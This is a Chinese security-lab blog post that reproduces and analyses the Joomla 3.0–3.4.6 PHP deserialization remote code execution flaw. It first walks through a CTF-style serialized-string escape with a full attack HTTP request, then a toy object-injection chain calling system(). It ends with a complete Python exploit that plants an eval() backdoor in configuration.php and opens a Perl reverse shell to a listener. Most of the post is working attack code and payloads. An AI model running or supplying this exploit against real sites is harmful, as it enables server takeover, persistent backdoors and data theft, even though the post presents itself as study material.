当前位置 博文首页 > Ms08067安全实验室：Joomla 3.4.6 RCE复现及分析

最大化 缩小

    Ms08067安全实验室：Joomla 3.4.6 RCE复现及分析

    作者：Ms08067安全实验室 时间：2021-02-03 22:26

    出品｜MS08067实验室（www.ms08067.com)

    本文作者：whojoe(MS08067安全实验室SRST TEAM成员)

    前言

    前几天看了下PHP 反序列化字符逃逸学习，有大佬简化了一下joomla3.4.6rce的代码，今天来自己分析学习一下。

    环境搭建

    Joomla 3.4.6 : https://downloads.joomla.org/it/cms/joomla3/3-4-6
    php ：5.4.45nts（不支持php7）
    影响版本: 3.0.0 --- 3.4.6
    漏洞利用: https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla
    (https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla)
    要求PHP Version >= 5.3.10

    反序列化长度扩展分析

    CTF-2016-piapiapia中的利用代码
    这里就直接从大佬那里把代码拿来了
    index.php

    <?php
  require_once('class.php');
  if(isset($_SESSION['username'])) {
    header('Location: profile.php');
    exit;
  }
  if(isset($_POST["username"]) && isset($_POST["password"])) {
    $username = $_POST['username'];
    $password = $_POST['password'];


    if(strlen($username) < 3 or strlen($username) > 16) 
      die('Invalid user name');


    if(strlen($password) < 3 or strlen($password) > 16) 
      die('Invalid password');


    if($user->login($username, $password)) {
      $_SESSION['username'] = $username;
      header('Location: profile.php');
      exit;  
    }
    else {
      die('Invalid user name or password');
    }
  }
  else {
echo '
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div  style="margin-top:100px">  
    <form action="index.php" method="post"  style="width:220px;margin:0px auto;"> 
      <img src="static/piapiapia.gif"  style="width:180px;margin:0px auto;">
      <h3>Login</h3>
      <label>Username:</label>
      <input type="text" name="username" style="height:30px"/>
      <label>Password:</label>
      <input type="password" name="password" style="height:30px" >


      <button type="submit" >LOGIN</button>
    </form>
  </div>
</body>
</html>';
  }
?>

    profile.php

    <?php
  require_once('class.php');
  if($_SESSION['username'] == null) {
    die('Login First');  
  }
  $username = $_SESSION['username'];
  $profile=$user->show_profile($username);
  if($profile  == null) {
    header('Location: update.php');
  }
  else {
    $profile = unserialize($profile);
    $phone = $profile['phone'];
    $email = $profile['email'];
    $nickname = $profile['nickname'];
    $photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div  style="margin-top:100px">  
    <img src="data:image/gif;base64,<?php echo $photo; ?>"  style="width:180px;margin:0px auto;">
    <h3>Hi <?php echo $nickname;?></h3>
    <label>Phone: <?php echo $phone;?></label>
    <label>Email: <?php echo $email;?></label>
  </div>
</body>
</html>
<?php
  }
?>

    register.php

    <?php
  require_once('class.php');
  if(isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];


    if(strlen($username) < 3 or strlen($username) > 16) 
      die('Invalid user name');


    if(strlen($password) < 3 or strlen($password) > 16) 
      die('Invalid password');
    if(!$user->is_exists($username)) {
      $user->register($username, $password);
      echo 'Register OK!<a href="index.php">Please Login</a>';    
    }
    else {
      die('User name Already Exists');
    }
  }
  else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div  style="margin-top:100px">  
    <form action="register.php" method="post"  style="width:220px;margin:0px auto;"> 
      <img src="static/piapiapia.gif"  style="width:180px;margin:0px auto;">
      <h3>Register</h3>
      <label>Username:</label>
      <input type="text" name="username" style="height:30px"/>
      <label>Password:</label>
      <input type="password" name="password" style="height:30px" >


      <button type="submit" >REGISTER</button>
    </form>
  </div>
</body>
</html>
<?php
  }
?>

    update.php

    <?php
  require_once('class.php');
  if($_SESSION['username'] == null) {
    die('Login First');  
  }
  if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {


    $username = $_SESSION['username'];
    if(!preg_match('/^\d{11}$/', $_POST['phone']))
      die('Invalid phone');


    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
      die('Invalid email');
    
    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
      die('Invalid nickname');


    $file = $_FILES['photo'];
    if($file['size'] < 5 or $file['size'] > 1000000)
      die('Photo size error');


    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    $profile['phone'] = $_POST['phone'];
    $profile['email'] = $_POST['email'];
    $profile['nickname'] = $_POST['nickname'];
    $profile['photo'] = 'upload/' . md5($file['name']);


    $user->update_profile($username, serialize($profile));
    echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
  }
  else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
  <div  style="margin-top:100px">  
    <form action="update.php" method="post" enctype="multipart/form-data"  style="width:220px;margin:0px auto;"> 
      <img src="static/piapiapia.gif"  style="width:180px;margin:0px auto;">
      <h3>Please Update Your Profile</h3>
      <label>Phone:</label>
      <input type="text" name="phone" style="height:30px"/>
      <label>Email:</label>
      <input type="text" name="email" style="height:30px"/>
      <label>Nickname:</label>
      <input type="text" name="nickname" style="height:30px" >
      <label for="file">Photo:</label>
      <input type="file" name="photo" style="height:30px"/>
      <button type="submit" >UPDATE</button>
    </form>
  </div>
</body>
</html>
<?php
  }
?>

    class.php

    
<?php
require('config.php');


class user extends mysql{
  private $table = 'users';


  public function is_exists($username) {
    $username = parent::filter($username);


    $where = "username = '$username'";
    return parent::select($this->table, $where);
  }
  public function register($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);


    $key_list = Array('username', 'password');
    $value_list = Array($username, md5($password));
    return parent::insert($this->table, $key_list, $value_list);
  }
  public function login($username, $password) {
    $username = parent::filter($username);
    $password = parent::filter($password);


    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    if ($object && $object->password === md5($password)) {
      return true;
    } else {
      return false;
    }
  }
  public function show_profile($username) {
    $username = parent::filter($username);


    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    return $object->profile;
  }
  public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);


    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
  }
  public function __tostring() {
    return __class__;
  }
}


class mysql {
  private $link = null;


  public function connect($config) {
    $this->link = mysql_connect(
      $config['hostname'],
      $config['username'], 
      $config['password']
    );
    mysql_select_db($config['database']);
    mysql_query("SET sql_mode='strict_all_tables'");


    return $this->link;
  }


  public function select($table, $where, $ret = '*') {
    $sql = "SELECT $ret FROM $table WHERE $where";
    $result = mysql_query($sql, $this->link);
    return mysql_fetch_object($result);
  }


  public function insert($table, $key_list, $value_list) {
    $key = implode(',', $key_list);
    $value = '\'' . implode('\',\'', $value_list) . '\''; 
    $sql = "INSERT INTO $table ($key) VALUES ($value)";
    return mysql_query($sql);
  }


  public function update($table, $key, $value, $where) {
    $sql = "UPDATE $table SET $key = '$value' WHERE $where";
    return mysql_query($sql);
  }


  public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);


    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
  }
  public function __tostring() {
    return __class__;
  }
}
session_start();
$user = new user();
$user->connect($config);

    config.php

    <?php
  $config['hostname'] = '127.0.0.1';
  $config['username'] = 'root';
  $config['password'] = 'root';
  $config['database'] = 'test';
  $flag = '121312131';
?>

    分析

    index.php是登录界面（没啥用）
    profile.php是读取文件的（划重点）
    register.php是注册的（没啥用）
    update.php是更新信息（划重点）
    class.php是核心代码（划重点）
    config.php flag在里面
    在profile.php中可以读取文件，并且上面有反序列化操作，在update.php文件上传没有做任何过滤，但是估计实际环境会限制代码执行，在class.php中有序列化操作，并且对字符串进行了替换，由于没有对传入的单引号进行过滤，所以是存在sql注入的，但是没什么用，数据库中的所有东西都是我们可控的，所以重点就在了序列化和反序列化还有字符串长度替换上，看下过滤代码

      public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);


    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
  }

    可以看到长度唯一改变的就是where，那么我们上传一个文件看一下
    a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";s:5:"joezk";s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

    这里面的photo是我们想要控制的，那么我们就需要控制nickname字段加上长度的替换来实现任意文件读取，但是nickname长度被限制

    if(!preg_match('/^\d{11}$/', $_POST['phone']))
      die('Invalid phone');


    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
      die('Invalid email');
    
    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
      die('Invalid nickname');


    $file = $_FILES['photo'];
    if($file['size'] < 5 or $file['size'] > 1000000)
      die('Photo size error');

    这里可以使用数组绕过，那么我们就传一下数组来看一下

    a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"joezk";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

    发现里面的结构发生了改变，所以我们就要考虑如何构造，因为后面的s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}是没用的，所以这一部分就被丢弃了，为了保证还有photo字段，就要把字符串进行扩充，结合前面的正则替换，where变成hacker，增加了一个长度，所以我们的最终序列化之后的应该是这种格式的

    a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"where";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

    其中的where";}s:5:"photo";s:10:"config.php";}是我们要发送过去的nickname

    ";}s:5:"photo";s:10:"config.php";}长度为34，那么我们就需要把这34位给挤出去，才能保证这个是可以反序列化的，为了把这34位挤出去，就需要34个where来填充，经过正则匹配后，就会变成34个hacker长度就增加了34位，即可满足我们的要求

    即nickname为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

    发送数据包

    POST /fff/update.php HTTP/1.1
Host: 192.168.164.138
Content-Length: 1405
Cache-Control: max-age=0
Origin: http://192.168.164.138
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjxnZAvhPqkTxgKar
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.164.138/fff/update.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rdfs2saq7tgjqa3p224g33cg16
Connection: close


------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="phone"


12345678901
------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="email"


123123@qq.com
------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="nickname[]"


wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="photo"; filename="QQ&#25130;&#22270;20200428221719.jpg"
Content-Type: image/jpeg


11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111


------WebKitFormBoundaryjxnZAvhPqkTxgKar--

    查看数据库中结果

    a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}

    打开profile.php即可查看结果

    经过base64解密

    joomla中的利用

    代码是从大佬那里哪来的，具体如下

    <?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}
class User
{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}
function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}
if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}
$username = "peri0d";
$password = "1234";
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));

    username和password我们是可控的
    大概的利用链就是通过反序列化来调用evil函数执行我们要执行的命令

    <?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;
    public $ts;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
$username = "peri0d";
$password = "1234";
$r = new User($username, $password);
$r->ts = new evil('whoami');
echo serialize($r);
//O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

    看以前前面的过滤，如果传入chr(0).'*'.chr(0)是没什么用的，但是如果传入\0\0\0，就可以对序列化的字符串长度进行缩短，我们刚才的payload需要进行修改才可以用，首先，正常经过序列化的只有两个参数，而我们构造的有三个，正好结合前面的长度缩短删除掉一个参数即可实现，所以最终的payload应该是这样的。

    
<?php
class evil{
    public $cmd;
    public function __construct($cmd){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}


class User
{
    public $username;
    public $password;
    public $ts;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
$aa='O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
unserialize($aa);

    我们来对比一下序列化之后的字符串
    O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
    O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
    可以看出两个不同的就是
    peri0d";s:8:"password";s:4:"1234
    目的就是要把利用长度缩减把password字段给包括到username字段里，这一部分，他的长度是32要去掉
    这里面我们的payload是
    s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}
    长度为47
    我们只能控制两个参数就是username和password，我们为了保证password字段被username吃掉而且还要保证payload能够被利用，payload就要放在password字段中传入，通过username字段进行缩减从而达到目标，有了思路，就开始构造。

    $username = "peri0d";
$password = '123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
echo serialize(new User($username, $password));
//O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:55:"12345";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

    这里我们需要删除的是
    ";s:8:"password";s:55:"123455
    他的长度是28
    在正则中
    str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    我们每次只能删除的长度是3，所以字符串长度应该是3的倍数，那么就把长度减一，变成27即可，需要9个\0\0\0

    $username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
echo serialize(new User($username, $password));
//O:4:"User":2:{s:8:"username";s:60:"peri0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}

    执行一下

    $username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));

    可以看到我们的payload已经执行了。

    漏洞复现

    下载poc之后安装需要的包，运行exp

    菜刀按上面的网址和密码链接

    查看configuration.php发现已经写入一句话

    exp分析

    
#!/usr/bin/env python3
 
import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored
 
PROXS = {'http':'127.0.0.1:8080'}
#PROXS = {}
 
def random_string(stringLength):
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(stringLength))
 
 
backdoor_param = random_string(50)
 
def print_info(str):
        print(colored("[*] " + str,"cyan"))
 
def print_ok(str):
        print(colored("[+] "+ str,"green"))
 
def print_error(str):
        print(colored("[-] "+ str,"red"))
 
def print_warning(str):
        print(colored("[!!] " + str,"yellow"))
 
def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf
 
 
def get_error(url, cook):
        resp = requests.get(url, cookies = cook, proxies = PROXS)
        if 'Failed to decode session object' in resp.text:
                #print(resp.text)
                return False
        #print(resp.text)
        return True
 
 
def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies
 
 
def gen_pay(function, command):
        # Generate the payload for call_user_func('FUNCTION','COMMAND')
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        #payload =  command + ' || $a=\'http://wtf\';'
        payload =  'http://l4m3rz.l337/;' + command
        # Following payload will append an eval() at the enabled of the configuration file
        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def make_req(url , object_payload):
        # just make a req with object
        print_info('Getting Session Cookie ..')
        cook = get_cook(url)
        print_info('Getting CSRF Token ..')
        csrf = get_token( url, cook)
 
        user_payload = '\\0\\0\\0' * 9
        padding = 'AAA' # It will land at this padding
        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
 
        inj_object = '";'
        inj_object += object_payload
        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
        password_payload = padding + inj_object
        params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }
 
        print_info('Sending request ..')
        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
        return resp.text
 
def get_backdoor_pay():
        # This payload will backdoor the the configuration .PHP with an eval on POST request
 
        function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        # payload =  command + ' || $a=\'http://wtf\';'
        # Following payload will append an eval() at the enabled of the configuration file
        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def check(url):
        check_string = random_string(20)
        target_url = url + 'index.php/component/users'
        html = make_req(url, gen_pay('print_r',check_string))
        if check_string in html:
                return True
        else:
                return False
 
def ping_backdoor(url,param_name):
        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
        if 'PWNED' in res.text:
                return True
        return False
 
def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
 
if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('-t','--target',required=True,help='Joomla Target')
        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
        args = vars(parser.parse_args())


        url = args['target']
        if(check(url)):
                print_ok('Vulnerable')
                if args['exploit']:
                        exploit(url, args['lhost'], args['lport'])
                else:
                        print_info('Use --exploit to exploit it')
 
        else:
                print_error('Seems NOT Vulnerable ;/')

    在第一行已经定义了代理
    PROXS = {'http':'127.0.0.1:8080'}
    获取cookie

    def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies

    获取csrf token

    def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf

    验证漏洞存在，如果存在的话，执行exploit
    从新获取cookie和token，写入一句话，检查一句话是否存在，之后通过一句话执行反弹shell操作

    
def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
    上一篇：测试开发小记：Linux Bash编程
    下一篇：没有了